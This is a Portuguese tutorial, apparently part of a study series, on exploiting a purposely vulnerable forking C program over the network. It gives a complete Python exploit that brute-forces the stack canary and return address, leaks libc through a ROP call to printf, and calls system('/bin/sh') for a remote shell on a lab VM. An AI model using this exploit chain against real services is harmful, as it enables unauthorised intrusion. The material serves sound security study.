Dando continuidade ao estudo sobre buffer overflow, nesta parte iniciaremos o bypass das principais proteções impostas na comipalção e pelo SO.
Bypass de proteções e exploração remota
Conforme os testes realizados, a exploração de um binário sem proteçõs é muito simples e fornece embasamento de como funciona a arquitatura de execução. Porém no cenário real do dia-a-dia raramente será possível encontrar um binário sem proteções, e frequentemente a exploraçẽo será feita remotamente.
Nesta etapa do estudo, a exploração será realizada com as principais proteções: ASLR, Canary, NX e PIE Protector. Para tanto, o desenvolvimento do exploit será feito em partes, focando no bypass de cada tipo de proteção por etapa.
Este experimento também será feito remotamente, ou seja, além do binário local para estudos, o alvo do ataque será uma Virtual Machine, que à princípio não se sabe qual distribuição Linux roda como SO.
O python
possui uma biblioteca específica para este tipo de exploração chamada PWNTOOLS que faz uma boa parte do trabalho de forma automatizada, porém, para fins de entendimento do processo, esta biblioteca não será utilizada neste experimento.
Algumas das princiais técnicas de bypass serão exploradas neste experimento, tendo em vista que cada binário terá uma forma diferente de ser explorado, este laboratório trará uma visão geral destas técnicas.
Analisando o código fonte
O binário é um simples programa que solicita um buffer e em seguida imprime uma resposta, abaixo seu código fonte:
$ cat prog.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
void func(){
char overflowme[32];
printf("Preencha meu buffer: ");
fflush(stdout);
read(STDIN_FILENO, overflowme, 200);
printf("Agora se vira com o canary!\n");
fflush(stdout);
}
int main(int argc, char* argv[]){
while(1) {
if (fork()== 0) {
func();
printf("Valeu!\n");
fflush(stdout);
exit(0);
} else {
wait(NULL);
}
}
return 0;
}
Ao analisar a função func
é possível perceber que ela cria um buffer de 32 bytes chamado overflowme
, e logo em seguida solicita a entrada para este buffer. Porém a função read
capta o buffer de entrada e o envia para o overflowme
limitando o tamanho da entrada em 200 bytes, muito mais do que a capacidade do byffer overflowme, causando sobrescrita na memória caso a entrada seja maior que 32 bytes.
Compilando o binário
Para que o binário possa ser estudado localmente, antes de iniciar a enumeração remota, é preciso compilar o código com o comando abaixo, de forma que todas as proteções sejam ativadas:
1
$ gcc prog.c -o prog -fstack-protector
Enumerando o binário
Após a compilação do programa, pode-se executar o binário e enumerar seu comportamento:
1
2
3
4
5
$ ./prog
Preencha meu buffer: AAAAAAAA
Agora se vira com o canary!
Valeu!
Preencha meu buffer:
O programa solicita o buffer de entrada e, após o envio, imprime uma mensagem de agradecimento e retorna para o início solicitando uma nova entrada. Ao preencher o buffer com mais dados que o suportado, ele tem o seguinte comportamento:
1
2
3
4
5
6
$ ./prog
Preencha meu buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Agora se vira com o canary!
*** stack smashing detected ***: terminated
Preencha meu buffer:
Novamente ele recebeu o buffer e retornou para o início. Porém, ao invés da mensagem de agradecimento "Valeu!"
, ele trouxe a mensagem *** stack smashing detected ***: terminated
. Esta mensagem indica que o valor do Stack Canary foi sobrescrito. Confore explicadao anteriormente, no início de cada execução, o programa salva um valor aleatório na pilha, este valor é o Stack Canary. Antes de finalizar uma função ele compara o valor da pilha com o valor gerado, se os dois forem iguais, o programa segue, se ao menos um byte for diferente, o programa para de executar aquele função e retorna o status de stack smashing.
Ao enumerar o binário de forma remota, utilizando o netcat
, o comportamento é o mesmo, porém sem o erro de stack smashing:
1
2
3
4
5
6
7
8
$ nc 192.168.0.125 666
Preencha meu buffer: AAAAAAAA
Agora se vira com o canary!
Valeu!
Preencha meu buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Agora se vira com o canary!
Preencha meu buffer:
Debugando o binário
O processo para carregar o binário local no Debugger GDB
é o mesmo do estudo anterior, executando o comando $ gdb prog
. Após o GDB carregar o programa, pode-se setar um breakpoint na função main
e em seguida executar o programa com o comando run
. Os registradores terão sua carga inicial e o programa irá parar no breakpoint conforme a imagem abaixo:
Ao “disassemblar” a função func
, é possível observar os momentos em que o Stack Canary é inserido e o momento em que é comparado.
Ao inserir um breakpoint no endereço de comparação e continuar o programa com o comando continue
, é possível inserir um buffer normal e analisar os registradores:
No momento de conferir o Canary, o programa executa a instrução sub rax,QWORD PTR fs:0x28
, no registrador RAX, é possível visualizar o valor do Canary.
Também é possível analizar os primeiros 40 endereços da Stack com o comando x/40gx $rsp
e observar alguns pontos importantes:
Analisando a imagem, pode se observar que:
- Após o valor do Canary na Stack, existe o valor de RBP (base da Stack)
- Para que ocorra o buffer overflow é preciso ultrapassar o valor do Canary e do RBP e sobrescrever o endereço de retorno
Com estas informações, é possível iniciar a exploração.
Bypass do Canary
O primeiro passo para conseguir o bypass do Canary é eoncontrar o offset até ele, pois só assim é possível trbalhar diretamente com su valor. ara encontrar este offset, é possível inserir um breakpoint exatamente no endereço de comparação de valores dentro do GDB e enviar um ciclic pattern para o programa conforme imagem abaixo:
Analisando o breakpoint, pode-se verificar que a instrução anterior enviou para RAX o valor que está em [rbp-0x8]
, ou seja, o valor do Canary que está logo antes do RBP. Isso significa que o valor de RAX neste momento, é o ponto onde o ciclic pattern sobrescreveu o Canary, e é justamente este valor que será utilizado para consulta de offset no msf-pattern_offset
:
1
2
$ msf-pattern_offset -l 100 -q 0x3562413462413362
[*] Exact match at offset 40
O offset para atingir o Canary é de 40 bytes, o que segnifica que se for enviado um buffer maior que este, a partir do quadragésimo primeiro byte, o Canary começa a ser sobrescrito. Esta informação abre brecha para ser utilizado o brute force.
Brute force do Canary:
Conforme se sabe, o Canary é uma sequência de 8 bytes aleatória que é gerada cada vez que o programa é executado, e que se um único byte for sobrescrito, o programa pára sua execução e volta para o início.
Porém, enquanto o programa não for finalizado, o valor do Canary continua o mesmo. Exemplificando, pode-se imaginar que o Canary tenha o valor de "\x07\x06\x05\x04\x03\x02\x01\x00"
, caso seja enviado um buffer de 40 bytes, mais o byte "\x0a"
, o Canary ficará com o valor de "\x07\x06\x05\x04\x03\x02\x01\x0a"
, ou seja, o programa pára a função e não retorna a mensagem "Valeu!"
, conforme visto na enumeração. Isso significa, que pode-se enviar continuamente 40 bytes, mais 1 byte qualquer, e monitorar a resposta até obter a palavra "Valeu!"
do programa. A partir deste ponto, começa-se a enviar 40 bytes do buffer, mais o byte que resultou na resposta esperada, mais um novo ciclo de tentativas. Seguindo esta idéia, o esboço inicial do exploit fica como abaixo:
$ cat exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/python3
import socket
from struct import pack,unpack
from telnetlib import Telnet
#definindo alvo e funcoes
target = ("192.168.0.125", 666)
p64 = lambda x: pack("Q",x)
u64 = lambda x: unpack("Q",x)
#funcao que fara o Brute Force
def bruteforce(payload):
for i in range(256):
next_byte = 0x01 * i
next_byte = bytes([next_byte])
tmp_payload = payload + next_byte
p.send(tmp_payload)
p.recv(1024)
output = p.recv(1024)
if b"Valeu!" in output:
print(f"[+] Byte encontrado: {hex(i)}")
return next_byte
if i == 255:
print("[-] Erro ao encontrar o proximo byte!")
exit()
#Offset para atingir o Canary
offset = b"A" * 40
#Valor para sobrescrever RBP
rbp = b"B" * 8
#Cria a conexao com o alvo
p = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
p.connect(target)
#Recebe a primeira resposta do alvo
p.recv(1024)
#Inicio do Brute Force do Canary
print("[+] Procurando valor do CANARY...")
canary = b""
for i in range(8):
canary = canary + bruteforce(offset + canary)
print(f"[+] Valor co CANARY: {canary.hex()}")
Ao executar este script, o exploit fará tentativas consecutivas e incrementais no valor co Canary e retornará o byte encontrado até finalizar os 8 bytes, conforme imagem abaixo:
Neste ponto, foi possível obter o bypass da proteção do Stack Canary.
Bypass do PIE Protector
Conforme realizado no primeiro experimento deste estudo, após o envio do buffer, é necessário informar um endereço de retorno, porém, neste primeiro experimento, o binário não tinha habilitada o PIE Protector. O PIE Protector ou Stack Protector, é um método de proteção que randomiza todos os endereços da Stack a cada execução. Isto dificulta a ação de encontrar o endereço de retorno para o exploit. Para efetuar o bypass desta proteção, é preciso uma análise dos endereços de memória, antes da execução do programa. Ao iniciar o binário no GDB e “disassemblar” a função func
antes de executar o binário, é possível vusualizar alguns endereços conforme imagem abaixo:
Como o PIE Protector está ativado, estes bytes não são endereços de fato, mas sim offsets de endereço. Isto significa que quando o binário for iniciado, um endereço base aleatório será gerado, e os endereços de função serão este endereço base + o offset. Em outras palavras, os endereços mudam, mas as distâncias entre um endereço e outro são sempre os mesmos. Analisando o disassembly da função main
é possível encontrar o offset do endereco de retorno da função func
, conforme imagem abaixo:
O offset do endereço de retorno tem o valor de 0x1246
, isso significa, que se for possível obter o valor de retorno da função func
, ou RIP em tempo de execução, e subtrair o valor do offset, chega-se ao valor base dos endereços do binário durante a específica execução.
Para encontrar o valor exato de RIP durante a execução, é possível reaproveitar o brute force realizado no Canary, porém, ao invés de enviar somente o buffer inicial, será enviado o buffer + Canary + valor de RBP, o script do exploit será atualizado com as seguintes linhas:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#incrementando o buffer com o valor do Canary + RBP
CANARY = offset + canary + rbp
#Inicio do Brute Force do endereco de retorno
print("[+] Procurando valor de retorno...")
ret = b""
for i in range(8):
ret = ret + bruteforce(CANARY + ret)
ret = ret.ljust(8, b"\x00")
ret = u64(ret)[0]
print(f"[+] Valor de retorno: {hex(ret)}")
#Offset do endereco de retorno
offset_ret = 0x1246
#calculando o endereco base
elf_base = ret - offset_ret
print(f"[+] ELF BASE @ {hex(elf_base)}")
Ao executar o script, o exploit fará o bruteforce do Canary, incluirá seu valor ao buffer, e iniciará o bruteforce do endereço de retorno. Assim que o endereço de retorno for encontrado, o script decrementará o valor de 0x1246
que é seu offset, chegando ao endereço base do binário.
Até este ponto, foi possível efetuar o bypass do Canary e do PIE Protector em tempo de execução, além de conseguir o vazamento do endereço base do binário que será útil nos próximos passos.
Bypass do NX e ASLR
No primeiro experimento deste estudo, foi possível enviar um shell code logo após o endereço de retorno, pois todas as instruções foram executadas direto da pilha. Isto ocorreu, pois o byte NX não estava habilitado.
Byte NX:
O byte NX pu No eXecute, é uma proteção que impede que algumas instruções sejam executadas diretamente de pilha, o que faz muito sentido, pois os registradores existem justamente para argumentos e funções. Porém, nem todas as instruções são bloqueadas pelo byte NX, se uma função existente no binário ou existente na Libc utilizada pelo binário for chamada, esta função executa normalmente. As Libc são bibliotecas padrões da linguagem C
que guardam funções que podem ser utilizadas por programas. Existem inúmeras Libc numa distribuição Linux, e diversas Libc para cada distribuição. É possível descobrir qual Libc o binário está utilizando com o comando ldd
conforme abaixo:
1
2
3
4
$ ldd prog
linux-vdso.so.1 (0x00007ffcd43ce000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f69bfc77000)
/lib64/ld-linux-x86-64.so.2 (0x00007f69bfe63000)
Na distribuição Linux da máquina atacante, a Libc utilizada pelo binário é a que se encontra no caminho "/lib/x86_64-linux-gnu/libc.so.6"
, porém, a versão da Libc na máquina alvo, pode ser outra, uma vez que não se sabe qual distribuição e versão do Linux ela utiliza.
ASLR:
O ASLR (Address Space Layout Randomization) tem a função de randomização de endereços de memória assim como o PIE Protector, porém ele randomiza os endereços das Libc, portanto, para se utilizar uma função existente na Libc do SO, é preciso antes descobrir seu endereço em tempo de execução.
Para o bypass do byte NX a ponto de conseguir um shell, é preciso primeiro o bypass do ASLR. E para o bypass do ASLR, primeiro é preciso uma forma de bypass do byte NX.
Como somente é possível executar funções e instruções que já existam no binário ou na Libc, é preciso utilizar uma função que forneça um endereço de memória válido.
Vazamento de endereços:
O programa imprime palavras na tela para o usuário, o que significa que utiliza alguma função para isso. Se o código fonte ou o disassembly for analisado, é possível encontrar a função printf
que faz este trabalho. Ao verificar o manual da função printf
, é possível entender como ela funciona conforme imagem abaixo:
1
$ man 3 printf
Basicamente a função pede um único argumento, que é a mensagem em si. Conforme explorado no início deste estudo, para que uma função Assembly seja invocada, seu primeiro argumento precisa estar no registrador RDI, porém o byte NX não deixará esta instrução ser executada direto da Stack. É preciso utilizar a técnica de ROP Exploitation
ROP Exploitation:
O ROP (Return-Oriented Programming) é uma técnica que se incorpora no retorno de uma função, alterando a saída da função RET. Para que um programa funciona a nível de linguagem de máquina, várias instruções Assembly são executadas, acontece que algumas delas podem ser utilizadas na própria exploração do binário, pois são instruções existentes dentro do próprio código. A estes ebdereços do programa que executam ROPS, dá se o nome de “gadgets”. Para encontrar um endereço do próprio binário que fará o trabalho, de enviar um argumento para RDI, pode-se utilizar a ferramenta ROPGadget
, que pode ser usada conforme o comando abaixo:
1
2
$ ROPgadget --binary prog --ropchain | grep "pop rdi"
0x00000000000012db : pop rdi ; ret
O offset da instrução POP RED; RDI
é perfeita, pos estas instruções vão fazer o POP do próximo endereço para o registrador RDI, e logo em seguida a instrução RET vai retornar para o próximo endereço no topo da pilha. Para chegar no endereço real da função POP RDI; RET
em tempo de execução, basta somar o endereço base do binário que já é possível calcular, com o offset encontrado com o ROPGadget
.
Ao utilizar o objdump
para encontrar o offset da função printf
no binário, é possível encontrar dois offsets conforme o comando abaixo:
1
2
3
4
$ objdump -d -M intel prog | grep printf
0000000000001050 <printf@plt>:
1050: ff 25 d2 2f 00 00 jmp QWORD PTR [rip+0x2fd2] # 4028 <printf@GLIBC_2.2.5>
11c8: e8 83 fe ff ff call 1050 <printf@plt>
O offset 0x1050
representa o offset da função print
na PLT (Procedure Linkage Table), que basicamente é uma tabela de links, quando um programa chama a função printf
, a primeira chamada vai para a PLT que por sua vez chamará a GOT (Global Offset Table) que contém o endereço real da função.. O segundo offset, o 0x4028
, representa o offset da função printf
na GOT, isso significa que no momento do exploit, se o argumento da função printf
for o endereço da GOT, quando a função executar, vai imprimir o endereço da função em tempo de execução.
Após o envio das instruções, é preciso conduzir o programa para continuar sua execução de forma normal, para tanto, é possível encontrar o offset da própria função main
com o objdump
através do comando abaixo:
1
2
3
4
5
6
$ objdump -d -M intel prog | grep main
10dd: 48 8d 3d 40 01 00 00 lea rdi,[rip+0x140] # 1224 <main>
10e4: ff 15 f6 2e 00 00 call QWORD PTR [rip+0x2ef6] # 3fe0 <__libc_start_main@GLIBC_2.2.5>
0000000000001224 <main>:
123a: 75 2f jne 126b <main+0x47>
1275: eb bc jmp 1233 <main+0xf>
Todos estes offsets podem ser convertidos em endereços reais em tempo de execução, ao somá-los com o endereço base do binário que já é calculado com o exploit. Com estas instruções, é possível atualizar o script com os seguintes comandos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#Encontrando a Instrução Assembly no binário
#ROPgadget --binary prog --ropchain | grep rdi
pop_rdi = 0x12db + elf_base
#Encontrando offset da funcao printf
#objdump -d -M intel prog | grep printf
printf_got = 0x4028 + elf_base
printf_plt = 0x1050 + elf_base
#Encontrando o offset dafuncao main
#objdump -d -M intel prog | grep main
main = 0x1224 + elf_base
#Criando o payload
payload = CANARY
payload += p64(pop_rdi)
payload += p64(printf_got)
payload += p64(printf_plt)
payload += p64(main)
#Enviando o payload
p.send(payload)
#Recebendo a primeira linha
p.recv(1024)
#Recebendo a segunda linha
p.recv(1024)
#Salvando a terceira linha com o endereco da funcao PRINTF
elf_printf = p.recv(1024)
elf_printf = elf_printf.replace(b"Preencha meu buffer:", b"").strip()
elf_printf = u64(elf_printf.ljust(8, b"\x00"))[0]
print(f"[+] ELF PRINTF @ {hex(elf_printf)}")
Ao executar o exploit, é possível obter os endereços necessário para finalizar a exploração:
Este endereço obtido com o exploit, é exatamente o endereço da função printf
rodando da Libc em tempo de execução, através dela, é possível calcular o endereço base da Libc, e assim chamar outras funções. Para encontrar o endereço base e qual distribuição Linux o alvo usa, é preciso notar o ultimo “byte e meio” do endereço da função encontrado. Não importa o quanto os demais bytes do endereço possam mudar a cada execução, os ultimos três dígitos serão sempre os mesmos, pois se tratam do endereço base da Libc, que sempre termina em “000”, mais o offset da função. Assim, pode-se utilizar o Libc Database Search
, para pesquisar qual Libc o alvo utiliza através do offset da função printf
que no caso é e10
.
Ao pesquisar na plataforma, é preciso somente inserir o nome da função, e o ultimo byte e meio, a plataforma informa quais as possíveis Libc utilizadas, conforme a imagem abaixo:
Foi possível descobrir que o alvo utiliza a distribuição Ubuntu
na versão 9. Ao clicar em uma das Libc, é possível visualizar outros offsets de funções, ou até mesmo efetuar o download da Libc para estudo local, conforme imagem abaixo:
No caso deste estudo, a Libc foi baixada para estudo local.
Ao utilzar o objdump
na Libc, é possível encontrar o offset da função printf
, se este offset for subtraído do endereço real em tempo de execução da função, é possível encontrar o endereço base da Libc. As linhas abaixo foram adicionadas no script, para o exploit calcular o endereço base da Libc:
1
2
3
4
#objdump -d -M intel libc/libc6_2.31-0ubuntu9_amd64 | grep _IO_printf
offset_printf = 0x64e10
libc_base = elf_printf - offset_printf
print(f"[+] LIBC BASE @ {hex(libc_base)}")
Executando o exploit, é possível obter o vazamento do endereço base da Libc, independente da randomização feita pelo ASLR, conforme imagem abaixo:
Com o endereço base da Libc sendo vazado em tempo de execução, é possível calcular o endereço de qualquer função em tempo de execução, ao somar o endereço base com seu respectivo offset.
A função system
da Libc, consegue executar comandos do próprio SO, ao pesquisar seu funcionamento com o comando man system
, é possível compreendê-la conforme abaixo:
Obtendo o shellcode:
A função system
, precisa somente de um argumento, que de fato é um comando do SO, e como já é sabido, este primeiro argumendo precisa estar em RDI. Para encontrar o offset da função system
na Libc, pode-se utilizar o objdump
, conforme abaixo:
1
2
3
$ objdump -d -M intel libc/libc6_2.31-0ubuntu9_amd64 | grep system
0000000000055410 <__libc_system@@GLIBC_PRIVATE>:
55417: 74 07 je 55420 <__libc_system@@GLIBC_PRIVATE+0x10>
O offset da função system
é 0x55410
, porém, é preciso encontrar o offset de algum comando para ser executado, no caso do desenvolvimento deste exploit, o comando ideal é /bin/sh
, pois ao ser executado, retornara um reverse shell. Para encontrar o offset do comando, pode-se utilizar o comando strings
, conforme abaixo:
1
2
$ strings -a -t x libc/libc6_2.31-0ubuntu9_amd64 | grep "/bin/sh"
1b75aa /bin/sh
O offset de /bin/sh
é 0x1b75aa
, todos os offsets de Libc encontrados, podem ser transformados em endereços reais em tempo de execução, ao somá-los com o endereço base da Libc que já foi possível calcular.
Com estas informações em mãos, é possível atualizar o script com a ultima parte, que enviará o payload e retornará um reverse shell interativo. A versão final do exploit fica como abaixo:
$ cat exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#!/usr/bin/python3
import socket
from struct import pack,unpack
from telnetlib import Telnet
#definindo alvo e funcoes
target = ("192.168.0.125", 666)
p64 = lambda x: pack("Q",x)
u64 = lambda x: unpack("Q",x)
#funcao que fara o Brute Force
def bruteforce(payload):
for i in range(256):
next_byte = 0x01 * i
next_byte = bytes([next_byte])
tmp_payload = payload + next_byte
p.send(tmp_payload)
p.recv(1024)
output = p.recv(1024)
if b"Valeu!" in output:
print(f"[+] Byte encontrado: {hex(i)}")
return next_byte
if i == 255:
print("[-] Erro ao encontrar o proximo byte!")
exit()
#Offset para atingir o Canary
offset = b"A" * 40
#Valor para sobrescrever RBP
rbp = b"B" * 8
#Cria a conexao com o alvo
p = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
p.connect(target)
#Recebe a primeira resposta do alvo
p.recv(1024)
#Inicio do Brute Force do Canary
print("[+] Procurando valor do CANARY...")
canary = b""
for i in range(8):
canary = canary + bruteforce(offset + canary)
print(f"[+] Valor do CANARY: {canary.hex()}")
#incrementando o buffer com o valor do Canary + RBP
CANARY = offset + canary + rbp
#Inicio do Brute Force do endereco de retorno
print("[+] Procurando valor de retorno...")
ret = b""
for i in range(8):
ret = ret + bruteforce(CANARY + ret)
ret = ret.ljust(8, b"\x00")
ret = u64(ret)[0]
print(f"[+] Valor de retorno: {hex(ret)}")
#Offset do endereco de retorno
offset_ret = 0x1246
#calculando o endereco base
elf_base = ret - offset_ret
print(f"[+] ELF BASE @ {hex(elf_base)}")
#Encontrando a Instrução Assembly no binário
#ROPgadget --binary prog --ropchain | grep rdi
pop_rdi = 0x12db + elf_base
#Encontrando offset da funcao printf
#objdump -d -M intel prog | grep printf
printf_got = 0x4028 + elf_base
printf_plt = 0x1050 + elf_base
#Encontrando o offset dafuncao main
#objdump -d -M intel prog | grep main
main = 0x1224 + elf_base
#Criando o payload
payload = CANARY
payload += p64(pop_rdi)
payload += p64(printf_got)
payload += p64(printf_plt)
payload += p64(main)
#Enviando o payload
p.send(payload)
#Recebendo a primeira linha
p.recv(1024)
#Recebendo a segunda linha
p.recv(1024)
#Salvando a terceira linha com o endereco da funcao PRINTF
elf_printf = p.recv(1024)
elf_printf = elf_printf.replace(b"Preencha meu buffer:", b"").strip()
elf_printf = u64(elf_printf.ljust(8, b"\x00"))[0]
print(f"[+] ELF PRINTF @ {hex(elf_printf)}")
#objdump -d -M intel libc/libc6_2.31-0ubuntu9_amd64 | grep _IO_printf
offset_printf = 0x64e10
libc_base = elf_printf - offset_printf
print(f"[+] LIBC BASE @ {hex(libc_base)}")
#objdump -d -M libc/libc6_2.31-0ubuntu9_amd64 libc | grep system
system = 0x55410 + libc_base
#strings -a -t x libc/libc6_2.31-0ubuntu9_amd64 | grep "/bin/sh"
binsh = 0x1b75aa + libc_base
payload = CANARY
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
payload += p64(main)
p.send(payload)
t = Telnet()
t.sock = p
t.interact()
Ao executar a versão final do exploit, é possível obter o reverse shell da máquina alvo, conforme imagem abaixo:
E com isso, todas as proteções impostas pelo binário e pelo SO foram derrubadas utilizando diversas técnicas.
CONSIDERAÇÕES FINAIS
Neste estudo, foram apresentados os conceitos de arquitetura e linguagem de máquina necessários para o entendimento da exploração de binários de forma prática.
Com o avanço tecnológico, as técnicas de proteção, assim como de exploração tendem a atingir uma complexidade cada vez maior, que exigirão análises mais profundas sobre o assunto.
Além das técnicas apresentadas neste estudo, existem várias outras formas de exploração de binários como o Heap Overflow e a Engenharia Reversa.
REFERÊNCIAS
LIBC-DATABASE. Libc Database Search. [S. l.], 2018. Disponível em: https://libc.blukat.me/. Acesso em: 24 set. 2021.
PEDA - PYTHON EXPLOIT DEVELOPMENT ASSISTANCE FOR GDB (EUA). PEDA: Python Exploit Development Assistance for GDB. [S. l.], 05 2012. Disponível em: https://github.com/longld/peda. Acesso em: 24 set. 2021.
RAPID7 (EUA). Metasploit Framework. [S. l.], 2021. Disponível em: https://www.metasploit.com/. Acesso em: 24 set. 2021.
ROPGADGET TOOL (EUA). ROPgadget Tool. [S. l.], 05 2021. Disponível em: https://github.com/JonathanSalwan/ROPgadget. Acesso em: 24 set. 2021.
SEI CERT C CODING STANDARD (EUA). SEI CERT C Coding Standard. [S. l.], 05 2018. Disponível em: https://wiki.sei.cmu.edu/confluence/display/c/SEI+CERT+C+Coding+Standard. Acesso em: 24 set. 2021.
ZHIRKOV, Igor. Programação em Baixo Nível: C, Assembly e execução de programas na arquitetura Intel 64. 1. ed. São Paulo: Novatec, 2018. 576 p. ISBN 978-85-7522-667-4.